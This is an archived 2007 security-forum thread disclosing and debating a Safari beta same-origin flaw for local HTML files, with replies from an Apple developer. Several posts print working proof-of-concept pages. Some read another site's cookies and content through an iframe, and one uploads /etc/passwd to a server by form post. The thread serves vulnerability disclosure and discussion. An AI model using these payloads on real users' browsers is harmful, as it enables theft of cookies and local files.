Paid Advertising
SLA.CKERS.ORG
HA.CKERS SLACKING
Where you should disclose your vulnerabilities. Go read RFPolicy if you want to do responsible disclosure, and go here for when all else fails.
Another Safari beta hole
Posted by: Gareth Heyes (IP Logged)
Date: July 26, 2007 02:11PM
This exploit works on Safari beta 3.02 using the local file system file://. It will alert your cookies from any domain and also has full access to the document object in the iframe.
<html>
<head>
<!--
By Gareth Heyes
gareth at businessinfo co uk
-->
<title>Safari has got serious holes</title>
</head>
<body>
<h1>Please wait until the iframe has finished loading</h1>
<iframe src="http://www.amazon.co.uk/" id="iframe" name="iframe"></iframe>
<form action="javascript:alert(window.frames.iframe.document.getElementsByTagName('body')[0].innerHTML);alert(window.frames.iframe.document.cookie);" enctype="text/plain" method="post">
<input type="button" value="Run" onclick="document.forms[0].submit();">
</form>
</body>
</html>
<html>
<head>
<!--
By Gareth Heyes
gareth at businessinfo co uk
-->
<title>Safari has got serious holes</title>
</head>
<body>
<h1>Please wait until the iframe has finished loading</h1>
<iframe src="http://www.amazon.co.uk/" id="iframe" name="iframe"></iframe>
<form action="javascript:alert(window.frames.iframe.document.getElementsByTagName('body')[0].innerHTML);alert(window.frames.iframe.document.cookie);" enctype="text/plain" method="post">
<input type="button" value="Run" onclick="document.forms[0].submit();">
</form>
</body>
</html>
Re: Another Safari beta hole
Posted by: Gareth Heyes (IP Logged)
Date: July 27, 2007 06:22PM
Here is the response from Apple, I don't think I'll bother reporting vulnerabilities in future!
This has to be a major flaw, if someone gets a email with a web page attached then the attacker can get the cookies from any site. Is it just me then? Or are Apple stupid?
--------------------------------
Hello,
Thank you for filing this issue via Apple's bug reporting system. Apple takes every report of a potential security problem very seriously.
After examining your report we do not believe that this issue is a security exposure.
When filing a bug report, other Classification values are available to describe the type of issue: "Performance", "Crash or Data Loss", "Serious Bug", "Other Bug/Has Workaround", "Feature (New)", and "Enhancement". For the request you filed, we will change the classification from "Security" to the appropriate one to assist the engineering teams in handling it.
If you have any questions or concerns please feel free to let us know.
Thank you,
Apple Product Security team
[www.apple.com]
PGP Key ID: 0xB8469E6D
Fingerprint: FD20 40DB F7BC 37B9 6E78 4C3B C800 A2AB B846 9E6D
This has to be a major flaw, if someone gets a email with a web page attached then the attacker can get the cookies from any site. Is it just me then? Or are Apple stupid?
--------------------------------
Hello,
Thank you for filing this issue via Apple's bug reporting system. Apple takes every report of a potential security problem very seriously.
After examining your report we do not believe that this issue is a security exposure.
When filing a bug report, other Classification values are available to describe the type of issue: "Performance", "Crash or Data Loss", "Serious Bug", "Other Bug/Has Workaround", "Feature (New)", and "Enhancement". For the request you filed, we will change the classification from "Security" to the appropriate one to assist the engineering teams in handling it.
If you have any questions or concerns please feel free to let us know.
Thank you,
Apple Product Security team
[www.apple.com]
PGP Key ID: 0xB8469E6D
Fingerprint: FD20 40DB F7BC 37B9 6E78 4C3B C800 A2AB B846 9E6D
Re: Another Safari beta hole
Posted by: sirdarckcat (IP Logged)
Date: July 27, 2007 10:14PM
Don't worry about Apple.
> they are just ..d..ots
Interesting :P I'm not able to test it (I don't have safari) :-/, but as soon I can I'll try it out.
This bug just appears in the submission of a <form> with enctype="text/plain" and method="post"? or it's indifferent?
Greetz!!
> they are just ..d..ots
Interesting :P I'm not able to test it (I don't have safari) :-/, but as soon I can I'll try it out.
This bug just appears in the submission of a <form> with enctype="text/plain" and method="post"? or it's indifferent?
Greetz!!
Re: Another Safari beta hole
Posted by: Gareth Heyes (IP Logged)
Date: July 28, 2007 07:00AM
I found this vulnerability when test the same origin policy security of Safari, I'm not sure what triggers it, I've not looked into it much. It could be the form submission type or a problem with the window object I'm not sure. I might do a more comprehensive test later on today if I get time.
Re: Another Safari beta hole
Posted by: rsnake (IP Logged)
Date: July 30, 2007 03:11PM
Did you give them reproduction steps? They may not have had amazon cookies or even know what amazon cookies look like when they see them.
- RSnake
Gotta love it. http://ha.ckers.org
- RSnake
Gotta love it. http://ha.ckers.org
Re: Another Safari beta hole
Posted by: Gareth Heyes (IP Logged)
Date: July 31, 2007 05:38PM
@RSnake
I emailed their security email address so you would expect them to understand the exploit but having said that this is quite a different one than a normal XSS or something. I might send them another email and see if I can talk to someone who knows something about web security.
I don't fancy my chances though
I emailed their security email address so you would expect them to understand the exploit but having said that this is quite a different one than a normal XSS or something. I might send them another email and see if I can talk to someone who knows something about web security.
I don't fancy my chances though
Re: Another Safari beta hole
Posted by: mjs (IP Logged)
Date: July 31, 2007 06:48PM
Hey Gareth,
The reason we don't consider this a security exploit is that local HTML files are in general not guaranteed to be safe to open. For example, the following "exploit" shows that in Firefox or Opera, a local file can upload any local file at a known path to a server of choice. It's true that Firefox and Safari differ on the details of what local files are allowed to do, and we may revisit this in the future, but I think it is inaccurate to call your sample a "major hole". The web security model does not protect against local files.
I will also note that we treat HTML files that are downloaded or included as an attachment as "applications" for security purposes, so they won't be assumed to be safe to open. So there's no simple drive-by exploit here; there's not much additional risk beyond the existing risk of the user downloading and running a trojan.
<iframe id="frame" src="/etc/passwd">
</iframe>
<form action="http://localhost/bad.cgi">
<textarea id="text" style="width: 400px; height: 200px;">
</textarea>
</form>
<script>
window.onload = doit;
function doit()
{
document.getElementById("text").value = document.getElementById("frame").contentWindow.document.documentElement.innerHTML;
document.forms[0].submit();
}
</script>
The reason we don't consider this a security exploit is that local HTML files are in general not guaranteed to be safe to open. For example, the following "exploit" shows that in Firefox or Opera, a local file can upload any local file at a known path to a server of choice. It's true that Firefox and Safari differ on the details of what local files are allowed to do, and we may revisit this in the future, but I think it is inaccurate to call your sample a "major hole". The web security model does not protect against local files.
I will also note that we treat HTML files that are downloaded or included as an attachment as "applications" for security purposes, so they won't be assumed to be safe to open. So there's no simple drive-by exploit here; there's not much additional risk beyond the existing risk of the user downloading and running a trojan.
<iframe id="frame" src="/etc/passwd">
</iframe>
<form action="http://localhost/bad.cgi">
<textarea id="text" style="width: 400px; height: 200px;">
</textarea>
</form>
<script>
window.onload = doit;
function doit()
{
document.getElementById("text").value = document.getElementById("frame").contentWindow.document.documentElement.innerHTML;
document.forms[0].submit();
}
</script>
Re: Another Safari beta hole
Posted by: Gareth Heyes (IP Logged)
Date: July 31, 2007 07:06PM
Thanks for the more detailed reply :)
I can sort of understand were you are coming from now however I still consider this a major flaw because locally you shouldn't be able to access external domains, Firefox and IE7 prevent this, so why not Safari?
If I send a email to someone and they open it and the following happens:-
<html>
<head>
<title>Breaking the sandbox!</title>
<script type="text/javascript">
function attack() {
window = w;
document.getElementById = d.getElementById;
document.getElementsByTagName = d.getElementsByTagName;
//alert(window["iframe"].document.getElementsByTagName("body")[0].innerHTML);
doc = window["iframe"].document;
html = doc.body.innerHTML;
start = html.indexOf('Hello, ');
if(start == -1) {
alert('Unable to get your name but your cookies are:-\n'+doc.cookie);
} else {
msg = '';
for(i=start;i<html.length;i++) {
if(html.substr(i, 1) == '.') {
break;
}
msg += html.substr(i, 1);
}
alert(msg + '\n' + 'I suggest you use Firefox.');
alert('Your cookies from Amazon are:\n\n'+doc.cookie);
}
}
</script>
</head>
<body>
<h1>Tested on Safari version 3.02 using file://</h1>
<iframe src="http://www.amazon.co.uk/" onload="attack();" id="iframe" name="iframe"></iframe>
<script type="text/javascript">
d = document;
w = window.frames;
</script>
<script type="text/javascript">
var document;
document = {};
document.domain = 'www.amazon.co.uk';
document.URL = 'http://www.amazon.co.uk';
document.referrer = 'http://www.amazon.co.uk';
document.documentURI = 'http://www.amazon.co.uk';
document.location = 'http://www.amazon.co.uk';
document.protocol = 'HyperText Transfer Protocol';
document.URLEncoded = 'http://www.amazon.co.uk';
var window;
window = {};
window.document = document;
window.location = 'http://www.amazon.co.uk';
</script>
<div id="displayWin">
<p>content goes here.</p>
</div>
</body>
</html>
Face it man, Safari beta's local same origin policy is broken. Please fix it or the exploits will gradually get worse.
I can sort of understand were you are coming from now however I still consider this a major flaw because locally you shouldn't be able to access external domains, Firefox and IE7 prevent this, so why not Safari?
If I send a email to someone and they open it and the following happens:-
<html>
<head>
<title>Breaking the sandbox!</title>
<script type="text/javascript">
function attack() {
window = w;
document.getElementById = d.getElementById;
document.getElementsByTagName = d.getElementsByTagName;
//alert(window["iframe"].document.getElementsByTagName("body")[0].innerHTML);
doc = window["iframe"].document;
html = doc.body.innerHTML;
start = html.indexOf('Hello, ');
if(start == -1) {
alert('Unable to get your name but your cookies are:-\n'+doc.cookie);
} else {
msg = '';
for(i=start;i<html.length;i++) {
if(html.substr(i, 1) == '.') {
break;
}
msg += html.substr(i, 1);
}
alert(msg + '\n' + 'I suggest you use Firefox.');
alert('Your cookies from Amazon are:\n\n'+doc.cookie);
}
}
</script>
</head>
<body>
<h1>Tested on Safari version 3.02 using file://</h1>
<iframe src="http://www.amazon.co.uk/" onload="attack();" id="iframe" name="iframe"></iframe>
<script type="text/javascript">
d = document;
w = window.frames;
</script>
<script type="text/javascript">
var document;
document = {};
document.domain = 'www.amazon.co.uk';
document.URL = 'http://www.amazon.co.uk';
document.referrer = 'http://www.amazon.co.uk';
document.documentURI = 'http://www.amazon.co.uk';
document.location = 'http://www.amazon.co.uk';
document.protocol = 'HyperText Transfer Protocol';
document.URLEncoded = 'http://www.amazon.co.uk';
var window;
window = {};
window.document = document;
window.location = 'http://www.amazon.co.uk';
</script>
<div id="displayWin">
<p>content goes here.</p>
</div>
</body>
</html>
Face it man, Safari beta's local same origin policy is broken. Please fix it or the exploits will gradually get worse.
Re: Another Safari beta hole
Posted by: Gareth Heyes (IP Logged)
Date: August 01, 2007 12:59AM
I told you they'd get worse:-
[www.businessinfo.co.uk]
Now if I spend long enough I could have it run automatically as well.
[www.businessinfo.co.uk]
Now if I spend long enough I could have it run automatically as well.
Re: Another Safari beta hole
Posted by: mjs (IP Logged)
Date: August 01, 2007 03:59PM
Hi Gareth,
The point is that you can't get it to run automatically, because a downloaded HTML file will not open automatically. If you can get it to run automatically, then yes, that would be an exploit, but we'd consider the automatic running itself to be an exploit, since presumably you could use such a mechanism to open a freshly downloaded application, or a word document with macros, etc etc.
Note that while Firefox doesn't allow local read access to remote resources, it does allow URI dereference and POST access (via form posting or subframes), and it allows read access to local file resources, so it can upload your local files.
I don't think allowing local HTML files to upload arbitrary local files to an arbitrary server, but preventing them from reading remote cookies or remote authenticated data, would make local HTML files safe to open. I would say we are not drastically out of line with other browsers on the local file security model. We are considering going further than Firefox to warning any time a local file tries to execute a script, like IE does. But I do not think the current behavior is a security hole.
I'm also not sure what the point is of your elaborate "mail this file" exploit. If you send HTML email, mail clients won't run the scripts. If it is sent as an attachment, then it is no worse than an attached executable, script or Word document, so long as Mail clients are aware that it's not safe content (which they should be, since in other non-Safari browsers they can upload your local files). I don't know of any way to get a mail client to automatically run script in an HTML file.
In any case, while this is an area that could possibly be improved for better trojan defense, I think it is inaccurate to portray this as a major hole (there's no drive-by exploit, you have to get the user to open a local file) or Safari-specific (in other browsers, local files can do equally bad things, though maybe not the exact same things).
Regards,
Maciej
The point is that you can't get it to run automatically, because a downloaded HTML file will not open automatically. If you can get it to run automatically, then yes, that would be an exploit, but we'd consider the automatic running itself to be an exploit, since presumably you could use such a mechanism to open a freshly downloaded application, or a word document with macros, etc etc.
Note that while Firefox doesn't allow local read access to remote resources, it does allow URI dereference and POST access (via form posting or subframes), and it allows read access to local file resources, so it can upload your local files.
I don't think allowing local HTML files to upload arbitrary local files to an arbitrary server, but preventing them from reading remote cookies or remote authenticated data, would make local HTML files safe to open. I would say we are not drastically out of line with other browsers on the local file security model. We are considering going further than Firefox to warning any time a local file tries to execute a script, like IE does. But I do not think the current behavior is a security hole.
I'm also not sure what the point is of your elaborate "mail this file" exploit. If you send HTML email, mail clients won't run the scripts. If it is sent as an attachment, then it is no worse than an attached executable, script or Word document, so long as Mail clients are aware that it's not safe content (which they should be, since in other non-Safari browsers they can upload your local files). I don't know of any way to get a mail client to automatically run script in an HTML file.
In any case, while this is an area that could possibly be improved for better trojan defense, I think it is inaccurate to portray this as a major hole (there's no drive-by exploit, you have to get the user to open a local file) or Safari-specific (in other browsers, local files can do equally bad things, though maybe not the exact same things).
Regards,
Maciej
Re: Another Safari beta hole
Posted by: Anonymous User (IP Logged)
Date: August 01, 2007 08:10PM
Strictly speaking every browser is a big security hole. Every vendor failed to deliver a secure browser in the past 10 years which is something to be ashamed of
Principle of least privileges, but almost no browser vendor complies to this, which is sad. they've learned, but still not enough.
But I'm repeating myself here.
Principle of least privileges, but almost no browser vendor complies to this, which is sad. they've learned, but still not enough.
But I'm repeating myself here.
Re: Another Safari beta hole
Posted by: Gareth Heyes (IP Logged)
Date: August 02, 2007 04:35AM
My definition of a major hole may be different to your then. If I get a web page with a quiz attached as a HTML file and that quiz can read any web site and perform any action on my behalf then I consider that a major flaw. A executable file is considered different then a html file to the user.
I'm quite aggressive to apple for a few reasons, I don't like Apple's attitude to security (Wireless exploits) and I don't like their attitude when reporting vulnerabilities. This is the first good conversation I have had about Safari security so I may change my views in future. Thanks Maciej for taking the time to explain your views on my report.
Here's a couple of my views on browser security that would improve things:-
1. Turn off iframes by default and have an option to enable them on a per site basis.
2. Same as above but with javascript:, window.open, httprequest, location.
3. Don't allow scripting in the url or warn if anything looks like it.
4. Don't always follow the specs : [www.businessinfo.co.uk] (Safari info disclosure)
I'm quite aggressive to apple for a few reasons, I don't like Apple's attitude to security (Wireless exploits) and I don't like their attitude when reporting vulnerabilities. This is the first good conversation I have had about Safari security so I may change my views in future. Thanks Maciej for taking the time to explain your views on my report.
Here's a couple of my views on browser security that would improve things:-
1. Turn off iframes by default and have an option to enable them on a per site basis.
2. Same as above but with javascript:, window.open, httprequest, location.
3. Don't allow scripting in the url or warn if anything looks like it.
4. Don't always follow the specs : [www.businessinfo.co.uk] (Safari info disclosure)
Re: Another Safari beta hole
Posted by: mjs (IP Logged)
Date: August 07, 2007 02:46AM
Another note: The cross-browser local file reading/uploading capability that local files have can be converted to a cookie-stealing vulnerability trivially. The example I posted for Firefox could be modified to read the cookies.txt file and upload it to an arbitrary server, if the attacker can guess the profile name, and nothing stops you from trying a bunch of likely ones.
If you think that security of local HTML files is a major issue, then I think you need to report a major vulnerability in all browsers (although IE warns you before executing any script in a local file at least). But I think other browser vendors would tend to have the same response, that local HTML files are not considered secure.
If you think that security of local HTML files is a major issue, then I think you need to report a major vulnerability in all browsers (although IE warns you before executing any script in a local file at least). But I think other browser vendors would tend to have the same response, that local HTML files are not considered secure.
Re: Another Safari beta hole
Posted by: Gareth Heyes (IP Logged)
Date: August 07, 2007 05:15AM
The example you have posted should not be allowed either the browser manufacturers need to get it into their head that local file and network information is at stake here. Take the example LAN Scanner I wrote:-
[www.businessinfo.co.uk]
Firefox and IE allow you to scan for local network devices, I could get it to work in Safari as well if I had time. The point is what the browser manufacturer presumes secure is often not.
[www.businessinfo.co.uk]
Firefox and IE allow you to scan for local network devices, I could get it to work in Safari as well if I had time. The point is what the browser manufacturer presumes secure is often not.
Re: Another Safari beta hole
Posted by: Gareth Heyes (IP Logged)
Date: August 17, 2007 06:18AM
After reconsidering mjs I agree it's not serious. Sorry to waste your time you are clearly right and I am clearly wrong.
</endMajorSarcasm>
Edited 1 time(s). Last edit at 08/17/2007 06:20AM by Gareth Heyes.
</endMajorSarcasm>
Edited 1 time(s). Last edit at 08/17/2007 06:20AM by Gareth Heyes.
Re: Another Safari beta hole
Posted by: kuza55 (IP Logged)
Date: August 17, 2007 08:01AM
On one hand, I agree with mjs; if this has to be run locally then the amount of users you could exploit is limited, since very few people would download a html file, and would not see why they could not just view it online. So its not exactly a high severity issue.
Having said that, I do understand that we can't just tell people that not only can they not open .exe and .com files, since they're executable, but they can no longer open Office (.doc, .docx, .xls, etc) or .pdf files from untrusted sources since they could very well be exploits, and now they can no longer download/open .htm/.whatever_is_rendered_as_html_in_safari as well. It really is unnaceptable; soon we'll be trying to tell everyone that they can no longer download any executables or data since it would be dangerous, and call this 'user education'.
And even its not automated, neither is XSS, and XSS has become a significant issue, which people agree should be fixed. We still discuss exploits on Office, etc, so I don't see why this should be any different.
So what am I trying to say? Apple should fix things, so should Mozilla/IE; there should be no apps relying on this functionality, and even then, its probably an acceptable loss.
Is it going to be readily exploited? Not yet, but that shouldn't be our criteria for deciding whether to secure things or not.
Oh, and Gareth, you might need this: [www.crypto.com]
Having said that, I do understand that we can't just tell people that not only can they not open .exe and .com files, since they're executable, but they can no longer open Office (.doc, .docx, .xls, etc) or .pdf files from untrusted sources since they could very well be exploits, and now they can no longer download/open .htm/.whatever_is_rendered_as_html_in_safari as well. It really is unnaceptable; soon we'll be trying to tell everyone that they can no longer download any executables or data since it would be dangerous, and call this 'user education'.
And even its not automated, neither is XSS, and XSS has become a significant issue, which people agree should be fixed. We still discuss exploits on Office, etc, so I don't see why this should be any different.
So what am I trying to say? Apple should fix things, so should Mozilla/IE; there should be no apps relying on this functionality, and even then, its probably an acceptable loss.
Is it going to be readily exploited? Not yet, but that shouldn't be our criteria for deciding whether to secure things or not.
Oh, and Gareth, you might need this: [www.crypto.com]
Re: Another Safari beta hole
Posted by: Gareth Heyes (IP Logged)
Date: August 17, 2007 08:08AM
yeah
[www.businessinfo.co.uk]
Oh yeah I almost forgot, BINGO!
Edited 1 time(s). Last edit at 08/17/2007 08:13AM by Gareth Heyes.
[www.businessinfo.co.uk]
Oh yeah I almost forgot, BINGO!
Edited 1 time(s). Last edit at 08/17/2007 08:13AM by Gareth Heyes.
Re: Another Safari beta hole
Posted by: kuza55 (IP Logged)
Date: August 17, 2007 07:50PM
Gareth Heyes Wrote:
-------------------------------------------------------
> yeah
>
> [www.businessinfo.co.uk]
> ay/safaribetazeroday.html
>
> Oh yeah I almost forgot, BINGO!
I haven't got Safari installed, but I'm sure it works, so /me claps and cheers, :)
-------------------------------------------------------
> yeah
>
> [www.businessinfo.co.uk]
> ay/safaribetazeroday.html
>
> Oh yeah I almost forgot, BINGO!
I haven't got Safari installed, but I'm sure it works, so /me claps and cheers, :)
Re: Another Safari beta hole
Posted by: Anonymous User (IP Logged)
Date: August 17, 2007 09:11PM
I so feel for those Safari devs, If I was one i would not sleep at night ^^
if any lesson: stick to MacQ! :)
if any lesson: stick to MacQ! :)
Re: Another Safari beta hole
Posted by: beford (IP Logged)
Date: August 17, 2007 11:55PM
It's cool to see how this evolved from 'not a bug, a feature' :)
Congrats Gareth.
Congrats Gareth.
Re: Another Safari beta hole
Posted by: Gareth Heyes (IP Logged)
Date: August 18, 2007 02:42AM
Thanks
There's some important security lessons to be learned here. Always overestimate security reports, expect bugs to be exploited in ways you didn't think about and most of all listen to Gareth :)
There's some important security lessons to be learned here. Always overestimate security reports, expect bugs to be exploited in ways you didn't think about and most of all listen to Gareth :)
Sorry, only registered users may post in this forum.
sla.ckers.org RSS feed
Board haX0r3d together by ha.ckers.org, forshizzle.
SecTheory Security Consulting *